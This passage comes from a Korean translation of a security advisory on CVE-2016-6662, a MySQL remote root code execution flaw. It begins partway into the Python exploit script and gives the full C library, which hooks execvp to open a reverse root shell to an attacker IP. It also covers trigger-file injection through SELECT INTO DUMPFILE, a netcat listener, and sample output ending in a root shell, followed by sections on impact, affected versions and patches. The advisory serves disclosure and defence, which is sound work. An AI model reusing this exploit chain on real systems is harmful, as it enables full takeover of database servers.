parser.add_argument('-dbname', dest='TARGET_DB',   required=True, help='Remote MySQL database name')
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')
                  
args = parser.parse_args()


# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:
    dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:
    errmsg("Failed to connect to the target: {}".format(err))
    shutdown(1)

try:
    cursor = dbconn.cursor()
    cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)

privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:
    print priv[0]
print ""


# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld 
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 
if rc != 0:
    errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
    print error 
    shutdown(2)

# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
    content = f.read()
    hookandrootlib_hex = binascii.hexlify(content)

# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG 
# Decoded payload (paths may differ):
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `poctable` FOR EACH ROW
BEGIN

   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void;   
   set global general_log = off;

END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n   ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n   DECLARE void varchar(550);\\n   set global general_log_file=\\'%s\\';\\n   set global general_log = on;\\n   select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void;   \\n   set global general_log = off;\\n\\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)

# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)

# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(4)

# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(5)

# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
    cursor = dbconn.cursor()
    cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'"  )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Finally, execute the trigger's payload by inserting anything into `poctable`. 
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)
finally:
    dbconn.close()  # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")

# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""

# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")

# Mission complete, but just for now... Stay tuned :)
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")


# Shutdown
shutdown(0)

[ mysql_hookandroot_lib.c ]

/*

(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
mysql_hookandroot_lib.c

This is the shared library injected by 0ldSQL_MySQL_RCE_exploit.py exploit.
The library is meant to be loaded by mysqld_safe on mysqld daemon startup
to create a reverse shell that connects back to the attacker's host on
6603 port (mysql port in reverse ;) and provides a root shell on the
target. 

mysqld_safe will load this library through the following setting:

[mysqld]
malloc_lib=mysql_hookandroot_lib.so

in one of the my.cnf config files (e.g. /etc/my.cnf).

This shared library will hook the execvp() function which is called
during the startup of mysqld process. 
It will then fork a reverse shell and clean up the poisoned my.cnf
file in order to let mysqld run as normal so that:
'service mysql restart' will work without a problem.

Before compiling adjust IP / PORT and config path.


~~
Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


~~
Compilation (remember to choose settings compatible with the remote OS/arch):

gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl

Disclaimer:

For testing purposes only. Do no harm.

Full advisory URL:
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt

*/

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdarg.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define ATTACKERS_IP "127.0.0.1"
#define SHELL_PORT 6033
#define INJECTED_CONF "/var/lib/mysql/my.cnf"

char* env_list[] = { "HOME=/root", NULL };
typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);
static execvp_func_t old_execvp = NULL;


// fork & send a bash shell to the attacker before starting mysqld
void reverse_shell(void) {

    int i; int sockfd;
    //socklen_t socklen;
    struct sockaddr_in srv_addr;
    srv_addr.sin_family = AF_INET; 
    srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port
    srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip 

    // create new TCP socket && connect
    sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
    connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
	
    for(i = 0; i <= 2; i++) dup2(sockfd, i);
    execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list );

    exit(0);
}


/*
 cleanup injected data from the target config before it is read by mysqld
 in order to ensure clean startup of the service

 The injection (if done via logging) will start with a line like this:

 /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:

*/

int config_cleanup() {

    FILE *conf;
    char buffer[2000];
    long cut_offset=0;

    conf = fopen(INJECTED_CONF, "r+");
    if (!conf) return 1;

    while (!feof(conf)) {
       fgets(buffer, sizeof(buffer), conf);
       if (strstr(buffer,"/usr/sbin/mysqld, Version")) {
	  cut_offset = (ftell(conf) - strlen(buffer));
       }

    }
    if (cut_offset>0) ftruncate(fileno(conf), cut_offset);
    fclose(conf);
    return 0;

}


// execvp() hook
int execvp(const char* filename, char* const argv[]) {

    pid_t  pid;
    int fd;

    // Simple root PoC (touch /root/root_via_mysql)
    fd = open("/root/root_via_mysql", O_CREAT);
    close(fd);

    old_execvp = dlsym(RTLD_NEXT, "execvp");

    // Fork a reverse shell and execute the original execvp() function
    pid = fork();
    if (pid == 0) 
          reverse_shell();

    // clean injected payload before mysqld is started
    config_cleanup();
    return old_execvp(filename, argv);
}

Replication / testing:

대상 시스템에서 관리자로 다음과 같이 구성한다.

1. 테스트를 위해서 데이터베이스와 데이터베이스의 관리자 권한을 설정한다.

CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';

2.  MySQL 설정에 아무거나 작성 가능할 수 있는 것 처럼 보이게 만든다. 이는 다음과 같이 유효하고 파싱 가능한 섹션을 포함하는 설정이 필요하다.

[isamchk]
key_buffer		= 16M

데비안에서 /etc/mysql/my.cnf에는 다음과 같이 설정한다.

chown mysql:mysql /etc/mysql/my.cnf
ls -l /etc/mysql/my.cnf
-rw-r--r-- 1 mysql mysql 3534 Sep 11 02:15 /etc/mysql/my.cnf

3. 공격자에 의해 공격을 실행하고, 공격했을 때 MySQL을 재시작하면 공격 성공한 것을 확인할 수 있다.

공격자:

  1. 라이브러리 경로를 mysql_hookanroot_lib.c 소스에 입력
  2. 0ldSQL_MySQL_RCE_exploit.py 스크립트를 실행

실행 예제:

./0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.1.10 -dbname pocdb -mycnf /etc/mysql/my.cnf

0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


[+] Connecting to target server 192.168.1.10 and target mysql account 'attacker@192.168.1.10' using DB 'pocdb'

[+] The account in use has the following grants/perms: 

GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'

[+] Compiling mysql_hookandroot_lib.so

[+] Converting mysql_hookandroot_lib.so into HEX

[+] Saving trigger payload into /var/lib/mysql/pocdb/poctable.TRG

[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target

[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded

[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /etc/mysql/my.cnf

[+] Showing the contents of /etc/mysql/my.cnf config to verify that our setting (malloc_lib) got injected

[mysql]
#no-auto-rehash	# faster start of mysql but no tab completition

[isamchk]
key_buffer		= 16M

!includedir /etc/mysql/conf.d/
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160912  8:48:41	   44 Query	select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void
		   44 Query	SET global general_log = off

[+] Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)

[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)

listening on [any] 6033 ...

connect to [192.168.1.20] from dbserver [192.168.1.10] 36932
bash: cannot set terminal process group (963): Inappropriate ioctl for device
bash: no job control in this shell

root@debian:/# id
id
uid=0(root) gid=0(root) groups=0(root)

root@debian:/# ls -l /root/root_via_mysql
---------- 1 root root 0 Sep 10 22:50 /root/root_via_mysql


root@debian:/# exit      
exit
exit

[+] Shell closed. Hope you had fun. 

[+] Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)

[+] Exiting (code: 0)

VII. BUSINESS IMPACT

앞서 논의한 것과 같이 취약점은 MySQL 계정이 권한을 가지거나 권한이 없는(FILE 권한만) 접근 모두 공격자에 의해 공격당할 수 있다. 또한 공격자는 CVE-2016-6663 취약점과 결합하여 FILE 권한 없이 루트로 권한 상승하도록 허용할 수 있다.

이 취약점은 공격자가 직접 MySQL에 연결할 필요 없이 SQL 인젝션 공격을 통해 사용할 수 있기에 위험이 증가한다. 성공적인 공격은 공격자들이 루트 권한으로 원격 셸을 얻어 원격 시스템을 완전히 손상시킬 것이다.

만약 공격에 성공하였다면, 악의적인 코드는 MySQL 데몬이 재시작되기를 기다릴 것이다. MySQL 서비스의 재시작은 여러 가지 이유가 있을 것이다.

VIII. SYSTEMS AFFECTED

가장 최근 버전부터 가장 오래된 버전까지 모든 MySQL 버전은 이 취약점에 영향을 받는다.

일부 시스템은 mysqld_safe wrapper 스크립트를 사용 대신 직적 mysqld 데몬이 위치한 경로나 Systemd를 통해 MySQL을 실행한다. 하지만 이러한 시스템은 설치 스크립트 또는 다른 시스템 서비스에 의해 진행되는 업데이트를 위해 mysqld_safe를 호출할 수 있으므로 여전히 위험에 노출된다.

이 취약점은 일반적으로 MySQL 서버 (예, 설정 파일)에 의해 사용되는 파일에 접근할 수 있는 것과, 기본 정책에 포함되지 않은 채 시작되는 mysqld_safe 스크립트의 사전에 로드하는 기능으로 인해 라이브러리 삽입이 가능한 것을 악용한다. 그러기에 MySQL 데몬을 위한 보안 정책으로 SELinux와 AppArmor와 같은 보안 모듈이 설치된 곳에서도 공격이 가능하다.

IX. VENDOR RESPONSE / SOLUTION

이 취약점은 2016년 7월 29일 오라클에 보고했고 보안 팀에 의해 패치 우선순위를 부여받았다. 또한 PerconaDB와 MariaDB를 포함하여 영향을 받는 다른 업체에도 보고했다.

그리고 8월 30일을 끝으로 PerconaDB와 MariaDB는 패치되었다. 이들 업체들이 패치하는 과정은 공개 저장소에 저장되었고, 보안 문제 수정은 새로운 릴리즈와 함께 언급되기에 악의적인 공격자에게 알려질 수 있다.

이 문제와 패치 보고한 지 40일이 지났고 이미 공개적으로 언급(PerconaDB와 MariaDB에 의해)되었기에 제조사의 다음 CPU 업데이트(10월 18일에 예정된) 전에 사용자에게 알리기 위해 취약점을 공개(PoC를 제한하여)하기로 결정했다.

제조사에서는 이 시간까지 사용 가능한 공식적인 패치나 임시 조치(Mitigations)가 없었다. 그래서 사용자는 MySQL 설정 파일이 MySQL 사용자가 소유하지 않도록 하고 루트 권한으로 더미 my.cnf 파일을 생성하도록 작성하도록 일시적인 조치를 취하는 것이 좋다.

이러한 것은 완벽한 해결책이 될 수 없기에 공식적인 업체가 제공하는 패치를 적용해야 한다.

Update (16/09/2016): 

찾은 취약점에 침묵하던 제조사(다시 말해서, 연구원에게 이메일과 같은 개인 이메일을 통해 직접 알렸음에도 불구하고 공개적으로 중요한 수정을 알리는 Security Alert에 즉시 공개를 하지 않았다)는 다음과 같이 CVE-2016-6662 취약점에 대해 보안 패치를 진행했다.

https://dev.mysql.com/doc/relnotes/mysql/5.7/en/news-5-7-15.html
https://dev.mysql.com/doc/relnotes/mysql/5.6/en/news-5-6-33.html
https://dev.mysql.com/doc/relnotes/mysql/5.5/en/news-5-5-52.html

취약하고 공격 가증한 버전 리스트는 다음과 같이 변경했다.

MySQL  <= 5.7.14
                5.6.32
                5.5.51

X. REFERENCES

http://legalhackers.com

http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

이 문서의 소스코드:
http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py

http://legalhackers.com/exploits/mysql_hookandroot_lib.c

MySQL releases containing security fixes:
https://dev.mysql.com/doc/relnotes/mysql/5.5/en/news-5-5-52.html
https://dev.mysql.com/doc/relnotes/mysql/5.6/en/news-5-6-33.html
https://dev.mysql.com/doc/relnotes/mysql/5.7/en/news-5-7-15.html
which can be downloaded from:
http://dev.mysql.com/downloads/mysql/

https://mariadb.org/mariadb-server-versions-remote-root-code-execution-vulnerability-cve-2016-6662/

https://security-tracker.debian.org/tracker/CVE-2016-6662

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6662

MySQL 버전 3.23.55에서 수정된 오래된 취약점 정보:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0150

XI. CREDITS

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
http://legalhackers.com

XII. REVISION HISTORY

12.09.2016 - 이 문서는 0day 상태로 공개적으로 발표했다.
16.09.2016 - 일부 보안 포럼에서 알게된 오해를 명확히 하는 것이 중요할 것 같아서 IV 섹션에 중요한 부분을 업데이트했다.
16.09.2016 - IX 섹션에 패치에 대한 정보를 추가하고 I와 II 섹션에 이를 반영하여 업데이트했다.

XIII. LEGAL NOTICES

이 문서에 포함된 정보는 적합성의 보장이나 보증 그 외 어떤 것을 사용하지 않고 "현 상태" 그대로 제공된다. 이 정보의 사용이나 오용으로 인한 손해는 작성자가 책임지지 않는다.


본 문서는 (주)한국정보보호교육센터 f-NGS 연구소에서 의역하고 작성한 내용입니다.
Written and Translated by hakawati in KISEC 40th

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